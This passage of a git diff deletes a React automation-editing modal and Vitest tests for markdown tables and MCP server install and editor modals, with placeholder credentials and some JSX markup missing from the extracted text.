"#/utils/api-error-message"; -import { modalTitleLgMediumClassName } from "#/utils/modal-classes"; -import { - parseCronSchedule, - buildCronSchedule, - formatTimeOfDay, - parseTimeOfDay, - formatEventOn, - type SchedulePresetKind, -} from "#/utils/automation-schedule"; -import { - validateAutomationTimeout, - AUTOMATION_TIMEOUT_DEFAULT_SECONDS, - AUTOMATION_TIMEOUT_MAX_SECONDS, -} from "#/utils/automation-timeout"; -import { cn } from "#/utils/utils"; -import { - formControlMultilineFieldClassName, - formControlSettingsFieldClassName, -} from "#/utils/form-control-classes"; -import XMarkIcon from "#/icons/x-mark.svg?react"; - -interface EditAutomationModalProps { - automation: Automation; - isOpen: boolean; - onClose: () => void; -} - -type FrequencyKey = SchedulePresetKind | "custom"; - -// Sentinel key for the "Active profile" picker option. Real profile names must -// start with an alphanumeric (backend MODEL_PROFILE_PATTERN), so this cannot -// collide with a stored profile name. Maps to an empty `form.model` (= use the -// active/default profile). -const ACTIVE_PROFILE_KEY = "__active__"; - -const WEEKDAY_KEYS: I18nKey[] = [ - I18nKey.AUTOMATIONS$WEEKDAY_SUN, - I18nKey.AUTOMATIONS$WEEKDAY_MON, - I18nKey.AUTOMATIONS$WEEKDAY_TUE, - I18nKey.AUTOMATIONS$WEEKDAY_WED, - I18nKey.AUTOMATIONS$WEEKDAY_THU, - I18nKey.AUTOMATIONS$WEEKDAY_FRI, - I18nKey.AUTOMATIONS$WEEKDAY_SAT, -]; - -interface FormState { - name: string; - prompt: string; - model: string; - frequency: FrequencyKey; - weekday: number; - timeOfDay: string; - isCustomSchedule: boolean; - rawSchedule: string; - timeout: string; -} - -function buildInitialState(automation: Automation): FormState { - const timeout = automation.timeout != null ? String(automation.timeout) : ""; - if (automation.trigger.type === "event") { - return { - name: automation.name, - prompt: automation.prompt ?? "", - model: automation.model ?? "", - frequency: "custom", - weekday: 1, - timeOfDay: "", - isCustomSchedule: true, - rawSchedule: "", - timeout, - }; - } - const parsed = parseCronSchedule(automation.trigger.schedule); - if (parsed.kind === "custom") { - return { - name: automation.name, - prompt: automation.prompt ?? "", - model: automation.model ?? "", - frequency: "custom", - weekday: 1, - timeOfDay: - parsed.hour !== undefined && parsed.minute !== undefined - ? formatTimeOfDay(parsed.hour, parsed.minute) - : "", - isCustomSchedule: true, - rawSchedule: parsed.raw, - timeout, - }; - } - return { - name: automation.name, - prompt: automation.prompt ?? "", - model: automation.model ?? "", - frequency: parsed.kind, - weekday: parsed.kind === "weekly" ? (parsed.weekday ?? 1) : 1, - timeOfDay: formatTimeOfDay(parsed.hour, parsed.minute), - isCustomSchedule: false, - rawSchedule: automation.trigger.schedule ?? "", - timeout, - }; -} - -export function EditAutomationModal({ - automation, - isOpen, - onClose, -}: EditAutomationModalProps) { - const { t } = useTranslation("openhands"); - const updateMutation = useUpdateAutomation(); - const { data: profilesData, isLoading: isLoadingProfiles } = useLlmProfiles(); - const profiles = profilesData?.profiles ?? []; - const modelItems = [ - { key: ACTIVE_PROFILE_KEY, label: t(I18nKey.COMMON$ACTIVE_PROFILE) }, - ...profiles.map((p) => ({ key: p.name, label: p.name })), - ]; - - const initial = useMemo(() => buildInitialState(automation), [automation]); - const [form, setForm] = useState(initial); - const [nameError, setNameError] = useState(null); - const [timeoutError, setTimeoutError] = useState(null); - - useEffect(() => { - if (isOpen) { - setForm(initial); - setNameError(null); - setTimeoutError(null); - } - }, [isOpen, initial]); - - if (!isOpen) return null; - - const frequencyItems = [ - { - key: "daily", - label: t(I18nKey.AUTOMATIONS$FREQUENCY_DAILY), - }, - { - key: "weekdays", - label: t(I18nKey.AUTOMATIONS$FREQUENCY_WEEKDAYS), - }, - { - key: "weekly", - label: t(I18nKey.AUTOMATIONS$FREQUENCY_WEEKLY), - }, - ...(form.isCustomSchedule - ? [ - { - key: "custom", - label: t(I18nKey.AUTOMATIONS$FREQUENCY_CUSTOM), - }, - ] - : []), - ]; - - const weekdayItems = WEEKDAY_KEYS.map((key, index) => ({ - key: String(index), - label: t(key), - })); - - const isTimeEditable = - !form.isCustomSchedule || - parseTimeOfDay(form.timeOfDay) !== null || - form.timeOfDay === ""; - - const handleSubmit = (e: React.FormEvent) => { - e.preventDefault(); - - const trimmedName = form.name.trim(); - if (!trimmedName) { - setNameError(t(I18nKey.AUTOMATIONS$NAME_REQUIRED)); - return; - } - setNameError(null); - - const timeoutResult = validateAutomationTimeout(form.timeout); - if ("errorKey" in timeoutResult) { - setTimeoutError(t(timeoutResult.errorKey)); - return; - } - setTimeoutError(null); - - const body: Partial = {}; - - if (trimmedName !== automation.name) { - body.name = trimmedName; - } - - const trimmedPrompt = form.prompt.trim(); - const initialPrompt = automation.prompt ?? ""; - if (trimmedPrompt !== initialPrompt.trim()) { - body.prompt = trimmedPrompt.length === 0 ? null : trimmedPrompt; - } - - const selectedModel = form.model.trim(); - const initialModel = automation.model ?? ""; - if (selectedModel !== initialModel) { - body.model = selectedModel === "" ? null : selectedModel; - } - - if ((timeoutResult.value ?? null) !== (automation.timeout ?? null)) { - body.timeout = timeoutResult.value; - } - - if (!form.isCustomSchedule && form.frequency !== "custom") { - const parsedTime = parseTimeOfDay(form.timeOfDay); - if (parsedTime) { - const newSchedule = buildCronSchedule({ - kind: form.frequency, - hour: parsedTime.hour, - minute: parsedTime.minute, - weekday: form.frequency === "weekly" ? form.weekday : undefined, - }); - if (newSchedule !== automation.trigger.schedule) { - body.trigger = { - ...automation.trigger, - schedule: newSchedule, - }; - } - } - } - - if (Object.keys(body).length === 0) { - onClose(); - return; - } - - updateMutation.mutate( - { id: automation.id, body }, - { - onSuccess: () => { - displaySuccessToast(t(I18nKey.AUTOMATIONS$EDIT_SUCCESS)); - onClose(); - }, - onError: (error) => { - displayErrorToast( - getApiErrorMessage(error, t(I18nKey.AUTOMATIONS$EDIT_ERROR)), - ); - }, - }, - ); - }; - - return ( -
    -
    { - if (e.key === "Escape") onClose(); - }} - role="presentation" - /> -
    - - -

    - {t(I18nKey.AUTOMATIONS$EDIT_TITLE)} -

    - -
    - setForm((f) => ({ ...f, name: value }))} - error={nameError ?? undefined} - showRequiredTag - /> - -
    elements with correct content", () => { - render({GFM_TABLE}); - - const headers = screen.getAllByRole("columnheader"); - expect(headers).toHaveLength(3); - expect(headers[0]).toHaveTextContent("Feature"); - expect(headers[1]).toHaveTextContent("OpenAI Codex"); - expect(headers[2]).toHaveTextContent("Claude Code"); - }); - - it("should render body cells as elements with correct content", () => { - render({GFM_TABLE}); - - const cells = screen.getAllByRole("cell"); - expect(cells).toHaveLength(6); - expect(cells[0]).toHaveTextContent("CLI"); - expect(cells[3]).toHaveTextContent("Mobile"); - }); - - it("should not render table markdown as plain paragraph text", () => { - // Regression guard: before the fix, missing component overrides made the - // table render with no visible borders/padding so columns looked like - // space-separated text. Ensure a real exists now. - const { container } = render( - {GFM_TABLE}, - ); - - expect(container.querySelectorAll("table")).toHaveLength(1); - expect(container.querySelectorAll("th")).toHaveLength(3); - expect(container.querySelectorAll("td")).toHaveLength(6); - }); -}); diff --git a/__tests__/components/features/mcp-page/custom-server-editor.test.tsx b/__tests__/components/features/mcp-page/custom-server-editor.test.tsx deleted file mode 100644 index 0e3501617..000000000 --- a/__tests__/components/features/mcp-page/custom-server-editor.test.tsx +++ /dev/null @@ -1,326 +0,0 @@ -import React from "react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { render, screen, fireEvent, waitFor } from "@testing-library/react"; -import { AxiosError } from "axios"; -import { beforeEach, describe, expect, it, vi } from "vitest"; -import SettingsService from "#/api/settings-service/settings-service.api"; -import McpService from "#/api/mcp-service/mcp-service.api"; -import { - __resetMcpHealthStoreForTests, - getMcpHealthSnapshot, - setMcpServerHealth, -} from "#/api/mcp-health/mcp-health-store"; -import { getMcpServerHealthKey } from "#/utils/mcp-server-health-key"; -import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { CustomServerEditor } from "#/components/features/mcp-page/custom-server-editor"; -import { useSettings } from "#/hooks/query/use-settings"; - -import type { Settings } from "#/types/settings"; -import type { MCPServerConfig } from "#/types/mcp-server"; - -const EDIT_STDIO_SERVER: MCPServerConfig = { - id: "stdio-0", - type: "stdio", - name: "github", - command: "docker", - args: ["run", "-i", "--rm", "ghcr.io/github/github-mcp-server"], -}; - -const EDIT_OAUTH_SERVER: MCPServerConfig = { - id: "shttp-0", - type: "shttp", - name: "superhuman_mail", - url: "https://mcp.mail.superhuman.com/mcp", - auth: { - strategy: "oauth2", - authentication: { type: "oauth", client_auth_method: "none" }, - }, -}; - -function buildSettingsWithMcp(overrides: Partial = {}): Settings { - return { - ...MOCK_DEFAULT_USER_SETTINGS, - agent_settings: { - ...MOCK_DEFAULT_USER_SETTINGS.agent_settings, - mcp_config: { - github: { - command: "docker", - args: ["run", "-i", "--rm", "ghcr.io/github/github-mcp-server"], - }, - }, - }, - ...overrides, - }; -} - -/** - * Wrapper that only mounts the editor once `useSettings` has resolved. - * `useAddMcpServer`'s `mutationFn` silently no-ops when settings is - * undefined (and that no-op resolves, triggering the per-call - * `onSuccess` → which would close our modal). Waiting for the query - * makes the test deterministic. - */ -function EditorOnceSettingsLoaded({ onClose }: { onClose: () => void }) { - const { data } = useSettings(); - if (!data) return null; - return ( - - ); -} - -function EditEditorOnceSettingsLoaded({ onClose }: { onClose: () => void }) { - const { data } = useSettings(); - if (!data) return null; - return ( - - ); -} - -function EditOAuthEditorOnceSettingsLoaded({ - onClose, -}: { - onClose: () => void; -}) { - const { data } = useSettings(); - if (!data) return null; - return ( - - ); -} - -function renderWith(ui: React.ReactNode) { - return render(ui, { - wrapper: ({ children }) => ( - - {children} - - ), - }); -} - -describe("CustomServerEditor", () => { - beforeEach(() => { - vi.restoreAllMocks(); - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - MOCK_DEFAULT_USER_SETTINGS, - ); - // Pre-flight connectivity test must pass so the save mutation is reached. - vi.spyOn(McpService, "testServer").mockResolvedValue({ - ok: true, - tools: [], - }); - }); - - it("keeps the modal open and does not call onClose when the add mutation fails", async () => { - // Simulate a backend rejection — the editor should surface the - // failure as an `onError` toast and leave the modal open so the - // user can retry. Previously these calls had no `onError` at - // all, and the modal closed even on a 4xx/5xx because - // tanstack-query's per-call `onSuccess` doesn't run on - // rejection but didn't gate the close either way. - const err = new AxiosError("Boom"); - err.response = { - status: 400, - data: { detail: "Server name already in use" }, - } as unknown as AxiosError["response"]; - const saveSpy = vi - .spyOn(SettingsService, "saveSettings") - .mockRejectedValue(err); - - const onClose = vi.fn(); - renderWith(); - - // Wrapper waits for useSettings before mounting the editor, so - // by the time we see the editor the mutation hook will fire its - // mutationFn (rather than silently no-op). - await screen.findByTestId("mcp-custom-editor"); - fireEvent.change(screen.getByTestId("url-input"), { - target: { value: "https://example.com/mcp" }, - }); - fireEvent.click(screen.getByTestId("submit-button")); - - await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1)); - - // Modal is still mounted — onClose was *not* called on failure. - await waitFor(() => { - expect(screen.queryByTestId("mcp-custom-editor")).toBeInTheDocument(); - expect(onClose).not.toHaveBeenCalled(); - }); - }); - - it("closes from the top-right close button", async () => { - const onClose = vi.fn(); - renderWith(); - await screen.findByTestId("mcp-custom-editor"); - - fireEvent.click(screen.getByTestId("mcp-custom-editor-close")); - expect(onClose).toHaveBeenCalledTimes(1); - }); - - it("does not show delete in add mode", async () => { - renderWith(); - await screen.findByTestId("mcp-custom-editor"); - - expect( - screen.queryByTestId("mcp-custom-editor-delete"), - ).not.toBeInTheDocument(); - }); - - it("deletes an installed server after confirmation", async () => { - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettingsWithMcp(), - ); - const saveSpy = vi - .spyOn(SettingsService, "saveSettings") - .mockResolvedValue(true); - - const onClose = vi.fn(); - renderWith(); - await screen.findByTestId("mcp-custom-editor"); - - fireEvent.click(screen.getByTestId("mcp-custom-editor-delete")); - expect(await screen.findByTestId("confirmation-modal")).toBeInTheDocument(); - - fireEvent.click(screen.getByTestId("confirm-button")); - - await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1)); - await waitFor(() => expect(onClose).toHaveBeenCalledTimes(1)); - }); - - it("calls onClose when the header close button is clicked", async () => { - const onClose = vi.fn(); - renderWith(); - - fireEvent.click(await screen.findByTestId("mcp-custom-editor-close")); - - expect(onClose).toHaveBeenCalledTimes(1); - }); - - it("surfaces a credential failure from Test connection in the edit modal", async () => { - // Arrange: editing an installed server whose stored credentials the - // verification call rejects — previously this path always reported - // "Connected" because only tools/list was exercised. - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettingsWithMcp(), - ); - vi.spyOn(McpService, "testServer").mockResolvedValue({ - ok: false, - error: "invalid_auth", - error_kind: "credentials", - }); - - renderWith(); - await screen.findByTestId("mcp-custom-editor"); - - // Act: run the connection test from the edit form. - fireEvent.click(screen.getByTestId("mcp-test-connection")); - - // Assert: the credentials-specific message is shown inline (i18n keys - // are returned as-is in tests). - await waitFor(() => - expect(screen.getByTestId("mcp-test-message")).toHaveTextContent( - "MCP$TEST_ERROR_CREDENTIALS", - ), - ); - }); - - it("reseeds the edited server's health from the fresh pre-save test", async () => { - // Arrange: the installed card shows a failure; the user re-saves the - // server (e.g. after fixing the credential) and the pre-save test now - // passes. The card must flip to healthy without a page reload — the - // server's own prior entry is overwritten, not duplicate-guarded. - __resetMcpHealthStoreForTests(); - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettingsWithMcp(), - ); - vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true); - const key = getMcpServerHealthKey(EDIT_STDIO_SERVER); - setMcpServerHealth(key, { - status: "failed", - kind: "credentials", - error: "invalid_auth", - checkedAt: 1, - }); - - const onClose = vi.fn(); - renderWith(); - await screen.findByTestId("mcp-custom-editor"); - - // Act: save without structural changes (test passes via the beforeEach - // McpService.testServer mock). - fireEvent.click(screen.getByTestId("submit-button")); - - // Assert: the same health key now carries the fresh healthy verdict. - await waitFor(() => expect(onClose).toHaveBeenCalledTimes(1)); - expect(getMcpHealthSnapshot()[key]).toMatchObject({ status: "healthy" }); - }); - - it("persists OAuth state returned by the connection test when editing", async () => { - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettingsWithMcp({ - agent_settings: { - ...MOCK_DEFAULT_USER_SETTINGS.agent_settings, - mcp_config: { - superhuman_mail: { - url: "https://mcp.mail.superhuman.com/mcp", - transport: "http", - auth: { - strategy: "oauth2", - authentication: { type: "oauth", client_auth_method: "none" }, - }, - }, - }, - }, - }), - ); - vi.spyOn(McpService, "authorizeOAuth").mockResolvedValue({ - ok: true, - tools: [], - oauth_state: { - tokens: { access_token: "gAAAAencrypted-access-token" }, - token_expires_at: 12345, - }, - }); - const saveSpy = vi - .spyOn(SettingsService, "saveSettings") - .mockResolvedValue(true); - - renderWith(); - await screen.findByTestId("mcp-custom-editor"); - fireEvent.click(screen.getByTestId("submit-button")); - - await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1)); - const sent = (saveSpy.mock.calls[0][0] as Record) - .agent_settings_diff as { - mcp_config: Record; - }; - expect(sent.mcp_config).toMatchObject({ - superhuman_mail: { - auth: { - strategy: "oauth2", - state: { - tokens: { access_token: "gAAAAencrypted-access-token" }, - token_expires_at: 12345, - }, - }, - }, - }); - }); -}); diff --git a/__tests__/components/features/mcp-page/install-server-modal.test.tsx b/__tests__/components/features/mcp-page/install-server-modal.test.tsx deleted file mode 100644 index eba7b806d..000000000 --- a/__tests__/components/features/mcp-page/install-server-modal.test.tsx +++ /dev/null @@ -1,1015 +0,0 @@ -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { render, screen, fireEvent, waitFor } from "@testing-library/react"; -import { beforeEach, describe, expect, it, vi } from "vitest"; -import SettingsService from "#/api/settings-service/settings-service.api"; -import McpService from "#/api/mcp-service/mcp-service.api"; -import { - __resetMcpHealthStoreForTests, - getMcpHealthSnapshot, -} from "#/api/mcp-health/mcp-health-store"; -import { getMcpServerHealthKey } from "#/utils/mcp-server-health-key"; -import { SecretsService } from "#/api/secrets-service"; -import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { InstallServerModal } from "#/components/features/mcp-page/install-server-modal"; -import { - INTEGRATION_CATALOG as MCP_MARKETPLACE, - type IntegrationCatalogEntry as MarketplaceEntry, -} from "@openhands/extensions/integrations"; -import { getMcpMarketplaceCatalog } from "#/utils/mcp-marketplace-utils"; - -function renderWith(ui: React.ReactNode) { - return render(ui, { - wrapper: ({ children }) => ( - - {children} - - ), - }); -} - -describe("InstallServerModal", () => { - beforeEach(() => { - vi.restoreAllMocks(); - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - MOCK_DEFAULT_USER_SETTINGS, - ); - // Default: pre-flight test passes so existing save tests remain unaffected. - vi.spyOn(McpService, "testServer").mockResolvedValue({ - ok: true, - tools: [], - }); - }); - - it("uses Slack's API fallback when the default option is OAuth", async () => { - const slack = MCP_MARKETPLACE.find((e) => e.id === "slack")!; - const saveSpy = vi - .spyOn(SettingsService, "saveSettings") - .mockResolvedValue(true); - - const onClose = vi.fn(); - renderWith(); - - await screen.findByTestId("mcp-install-modal"); - - // Fail fast when required fields are empty. - fireEvent.click(screen.getByTestId("mcp-install-submit")); - await waitFor(() => { - expect(saveSpy).not.toHaveBeenCalled(); - }); - - fireEvent.change(screen.getByTestId("mcp-install-field-SLACK_BOT_TOKEN"), { - target: { value: "xoxb-abc" }, - }); - fireEvent.change(screen.getByTestId("mcp-install-field-SLACK_TEAM_ID"), { - target: { value: "T01" }, - }); - fireEvent.click(screen.getByTestId("mcp-install-submit")); - - await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1)); - const [payload] = saveSpy.mock.calls[0]; - const sentMcpConfig = (payload as Record) - .agent_settings_diff as { - mcp_config: Record; - }; - expect(sentMcpConfig.mcp_config).toMatchObject({ - slack: { - command: "npx", - args: ["-y", "@zencoderai/slack-mcp-server"], - env: { SLACK_BOT_TOKEN: "xoxb-abc", SLACK_TEAM_ID: "T01" }, - }, - }); - expect(onClose).toHaveBeenCalled(); - }); - - it("seeds the new card's health from the pre-save connection test", async () => { - // Arrange: a fresh install whose pre-save test passes. Its card must - // show a verdict immediately after install, without a second probe. - __resetMcpHealthStoreForTests(); - const slack = MCP_MARKETPLACE.find((e) => e.id === "slack")!; - vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true); - - renderWith( - , - ); - await screen.findByTestId("mcp-install-modal"); - - // Act: complete the install. - fireEvent.change(screen.getByTestId("mcp-install-field-SLACK_BOT_TOKEN"), { - target: { value: "xoxb-abc" }, - }); - fireEvent.change(screen.getByTestId("mcp-install-field-SLACK_TEAM_ID"), { - target: { value: "T01" }, - }); - fireEvent.click(screen.getByTestId("mcp-install-submit")); - - // Assert: the health store carries the saved config's verdict (the - // mocked test returns no tool_result, so it proves connectivity only). - const expectedKey = getMcpServerHealthKey({ - id: "irrelevant-for-key", - type: "stdio", - name: "slack", - command: "npx", - args: ["-y", "@zencoderai/slack-mcp-server"], - env: { SLACK_TEAM_ID: "T01", SLACK_BOT_TOKEN: "xoxb-abc" }, - }); - await waitFor(() => - expect(getMcpHealthSnapshot()[expectedKey]).toMatchObject({ - status: "healthy", - verification: "connectivity-only", - }), - ); - }); - - it("installs Tavily as a stdio MCP server with TAVILY_API_KEY env", async () => { - // Tavily was previously a fake `kind: "tavily-builtin"` template - // that called saveSettings({ search_api_key }) — but that field - // was dropped on the floor in both local and cloud save paths, so - // installing Tavily silently did nothing. It's now a regular - // stdio MCP entry (`npx -y tavily-mcp` + TAVILY_API_KEY) that - // goes through the same mcp_config write as every other entry. - const tavily = MCP_MARKETPLACE.find((e) => e.id === "tavily")!; - const saveSpy = vi - .spyOn(SettingsService, "saveSettings") - .mockResolvedValue(true); - - const onClose = vi.fn(); - renderWith(); - - await screen.findByTestId("mcp-install-modal"); - - // Submit with no key fails the required-field check. - fireEvent.click(screen.getByTestId("mcp-install-submit")); - await waitFor(() => expect(saveSpy).not.toHaveBeenCalled()); - - fireEvent.change(screen.getByTestId("mcp-install-field-TAVILY_API_KEY"), { - target: { value: "tvly-secret" }, - }); - fireEvent.click(screen.getByTestId("mcp-install-submit")); - - await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1)); - const sent = (saveSpy.mock.calls[0][0] as Record) - .agent_settings_diff as { - mcp_config: Record; - }; - expect(sent.mcp_config).toMatchObject({ - tavily: { - command: "npx", - args: ["-y", "tavily-mcp"], - env: { TAVILY_API_KEY: "tvly-secret" }, - }, - }); - expect(onClose).toHaveBeenCalled(); - }); - - it("blocks submission of an shttp template when api_key is required and empty", async () => { - // Build a synthetic catalog entry with apiKeyOptional: false so we - // exercise the new required-key validation in handleHttpServerSubmit - // without relying on the catalog choosing to mark one this way. - const entry: MarketplaceEntry = { - id: "synthetic-required", - name: "Synthetic", - description: "Synthetic catalog entry used in tests.", - docsUrl: "https://example.com/docs", - iconBg: "#000000", - connectionOptions: [ - { - id: "api", - provider: "mcp", - transport: { - kind: "shttp", - url: "https://example.com/mcp", - apiKeyOptional: false, - }, - auth: { strategy: "api_key" }, - }, - ], - }; - const saveSpy = vi - .spyOn(SettingsService, "saveSettings") - .mockResolvedValue(true); - - renderWith(); - - await screen.findByTestId("mcp-install-modal"); - - fireEvent.click(screen.getByTestId("mcp-install-submit")); - // No save call until the user fills in the key. - await waitFor(() => { - expect(saveSpy).not.toHaveBeenCalled(); - }); - - fireEvent.change(screen.getByTestId("mcp-install-field-api_key"), { - target: { value: "secret-123" }, - }); - fireEvent.click(screen.getByTestId("mcp-install-submit")); - - await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1)); - }); - - it("allows submitting an shttp template with no key when apiKeyOptional is true", async () => { - const entry: MarketplaceEntry = { - id: "synthetic-optional", - name: "Synthetic Optional", - description: "Synthetic entry that allows empty api_key.", - docsUrl: "https://example.com/docs", - iconBg: "#000000", - connectionOptions: [ - { - id: "api", - provider: "mcp", - transport: { - kind: "shttp", - url: "https://example.com/mcp", - apiKeyOptional: true, - }, - auth: { strategy: "api_key", apiKeyOptional: true }, - }, - ], - }; - const getSpy = vi - .spyOn(SettingsService, "getSettings") - .mockResolvedValue(MOCK_DEFAULT_USER_SETTINGS); - const saveSpy = vi - .spyOn(SettingsService, "saveSettings") - .mockResolvedValue(true); - - renderWith(); - - await screen.findByTestId("mcp-install-modal"); - // The add-mcp-server mutation bails when useSettings() hasn't - // resolved yet, so wait for the initial settings fetch before - // submitting — otherwise the test races React Query. - await waitFor(() => expect(getSpy).toHaveBeenCalled()); - fireEvent.click(screen.getByTestId("mcp-install-submit")); - - await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1)); - }); - - it("persists OAuth state returned by the connection test when installing", async () => { - const entry: MarketplaceEntry = { - id: "synthetic-oauth", - name: "Synthetic OAuth", - description: "Synthetic OAuth entry.", - docsUrl: "https://example.com/docs", - iconBg: "#000000", - connectionOptions: [ - { - id: "oauth", - provider: "mcp", - transport: { - kind: "shttp", - url: "https://mcp.example.com/mcp", - }, - auth: { - strategy: "oauth2", - oauth: { clientAuthentication: "none" }, - }, - }, - ], - }; - vi.spyOn(McpService, "authorizeOAuth").mockResolvedValue({ - ok: true, - tools: [], - oauth_state: { - tokens: { access_token: "gAAAAencrypted-access-token" }, - token_expires_at: 12345, - }, - }); - const getSpy = vi - .spyOn(SettingsService, "getSettings") - .mockResolvedValue(MOCK_DEFAULT_USER_SETTINGS); - const saveSpy = vi - .spyOn(SettingsService, "saveSettings") - .mockResolvedValue(true); - - renderWith(); - await screen.findByTestId("mcp-install-modal"); - await waitFor(() => expect(getSpy).toHaveBeenCalled()); - fireEvent.click(screen.getByTestId("mcp-install-submit")); - - await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1)); - const sent = (saveSpy.mock.calls[0][0] as Record) - .agent_settings_diff as { - mcp_config: Record; - }; - expect(sent.mcp_config).toMatchObject({ - "synthetic-oauth": { - url: "https://mcp.example.com/mcp", - auth: { - strategy: "oauth2", - state: { - tokens: { access_token: "gAAAAencrypted-access-token" }, - token_expires_at: 12345, - }, - }, - }, - }); - }); - - it("installs header-field remote servers with tagged header auth", async () => { - const entry = { - id: "datadog-style", - name: "Datadog-style Server", - description: "Remote MCP server that authenticates via two headers.", - iconBg: "#632CA6", - connectionOptions: [ - { - id: "api", - provider: "mcp", - transport: { - kind: "shttp", - url: "https://mcp.example.com/mcp", - headerFields: [ - { - key: "DD-API-KEY", - label: "Datadog API key", - type: "password", - required: true, - }, - { - key: "DD-APPLICATION-KEY", - label: "Datadog Application key", - type: "password", - required: true, - }, - ], - }, - auth: { strategy: "none" }, - }, - ], - } as unknown as MarketplaceEntry; - const testSpy = vi - .spyOn(McpService, "testServer") - .mockResolvedValue({ ok: true, tools: [] }); - const saveSpy = vi - .spyOn(SettingsService, "saveSettings") - .mockResolvedValue(true); - - renderWith(); - await screen.findByTestId("mcp-install-modal"); - await waitFor(() => expect(SettingsService.getSettings).toHaveBeenCalled()); - - expect( - screen.queryByTestId("mcp-install-field-api_key"), - ).not.toBeInTheDocument(); - fireEvent.change(screen.getByTestId("mcp-install-field-DD-API-KEY"), { - target: { value: "dd-api-secret" }, - }); - fireEvent.change( - screen.getByTestId("mcp-install-field-DD-APPLICATION-KEY"), - { target: { value: "dd-app-secret" } }, - ); - fireEvent.click(screen.getByTestId("mcp-install-submit")); - - await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1)); - expect(testSpy).toHaveBeenCalledWith( - expect.objectContaining({ - type: "shttp", - url: "https://mcp.example.com/mcp", - auth: { - strategy: "header", - headers: { - "DD-API-KEY": "dd-api-secret", - "DD-APPLICATION-KEY": "dd-app-secret", - }, - }, - }), - ); - const sent = (saveSpy.mock.calls[0][0] as Record) - .agent_settings_diff as { - mcp_config: Record; - }; - expect(sent.mcp_config).toMatchObject({ - "datadog-style": { - url: "https://mcp.example.com/mcp", - auth: { - strategy: "header", - headers: { - "DD-API-KEY": "dd-api-secret", - "DD-APPLICATION-KEY": "dd-app-secret", - }, - }, - }, - }); - }); - - it("uses the user-edited URL when the transport opts into urlEditable", async () => { - const entry = { - id: "datadog-style", - name: "Datadog-style Server", - description: "Remote MCP server with a site-specific URL.", - iconBg: "#632CA6", - connectionOptions: [ - { - id: "api", - provider: "mcp", - transport: { - kind: "shttp", - url: "https://mcp.example.com/mcp", - urlEditable: true, - headerFields: [ - { - key: "DD-API-KEY", - label: "Datadog API key", - type: "password", - required: true, - }, - ], - }, - auth: { strategy: "none" }, - }, - ], - } as unknown as MarketplaceEntry; - const saveSpy = vi - .spyOn(SettingsService, "saveSettings") - .mockResolvedValue(true); - - renderWith(); - await screen.findByTestId("mcp-install-modal"); - await waitFor(() => expect(SettingsService.getSettings).toHaveBeenCalled()); - - const urlInput = screen.getByTestId( - "mcp-install-field-url", - ) as HTMLInputElement; - expect(urlInput).not.toBeDisabled(); - fireEvent.change(urlInput, { - target: { value: "https://mcp.us5.example.com/v1/mcp" }, - }); - fireEvent.change(screen.getByTestId("mcp-install-field-DD-API-KEY"), { - target: { value: "dd-api-secret" }, - }); - fireEvent.click(screen.getByTestId("mcp-install-submit")); - - await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1)); - const sent = (saveSpy.mock.calls[0][0] as Record) - .agent_settings_diff as { - mcp_config: Record; - }; - expect(sent.mcp_config).toMatchObject({ - "datadog-style": { - url: "https://mcp.us5.example.com/v1/mcp", - auth: { - strategy: "header", - headers: { "DD-API-KEY": "dd-api-secret" }, - }, - }, - }); - }); - - it("installs Linear over streamable HTTP with the api key as a bearer credential", async () => { - // Arrange: the marketplace serves the patched Linear entry (shttp - // /mcp endpoint, bearer auth) — the UI must never touch the removed - // /sse transport. - const linear = getMcpMarketplaceCatalog(MCP_MARKETPLACE).find( - (e) => e.id === "linear", - )!; - const testSpy = vi - .spyOn(McpService, "testServer") - .mockResolvedValue({ ok: true, tools: [] }); - const getSpy = vi - .spyOn(SettingsService, "getSettings") - .mockResolvedValue(MOCK_DEFAULT_USER_SETTINGS); - const saveSpy = vi - .spyOn(SettingsService, "saveSettings") - .mockResolvedValue(true); - - renderWith(); - await screen.findByTestId("mcp-install-modal"); - // Wait for useSettings() so the add-mcp-server mutation doesn't bail. - await waitFor(() => expect(getSpy).toHaveBeenCalled()); - - // Act: provide the optional Linear API key and install. - fireEvent.change(screen.getByTestId("mcp-install-field-api_key"), { - target: { value: "lin_api_secret" }, - }); - fireEvent.click(screen.getByTestId("mcp-install-submit")); - - // Assert: both the pre-flight test and the persisted config target - // the new endpoint over streamable HTTP with the bearer credential. - await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1)); - expect(testSpy).toHaveBeenCalledWith( - expect.objectContaining({ - type: "shttp", - url: "https://mcp.linear.app/mcp", - auth: { strategy: "bearer", value: "lin_api_secret" }, - }), - ); - const sent = (saveSpy.mock.calls[0][0] as Record) - .agent_settings_diff as { - mcp_config: Record; - }; - // Remote installs are now keyed by the catalog slug ("linear") rather - // than the auto-generated "shttp" fallback, so the server is - // referenceable by name in mcp_server_refs. - expect(sent.mcp_config).toMatchObject({ - linear: { - url: "https://mcp.linear.app/mcp", - auth: { strategy: "bearer", value: "lin_api_secret" }, - }, - }); - }); - - it("closes from the top-right close button", async () => { - const onClose = vi.fn(); - const slack = MCP_MARKETPLACE.find((e) => e.id === "slack")!; - renderWith(); - await screen.findByTestId("mcp-install-modal"); - - fireEvent.click(screen.getByTestId("mcp-install-modal-close")); - 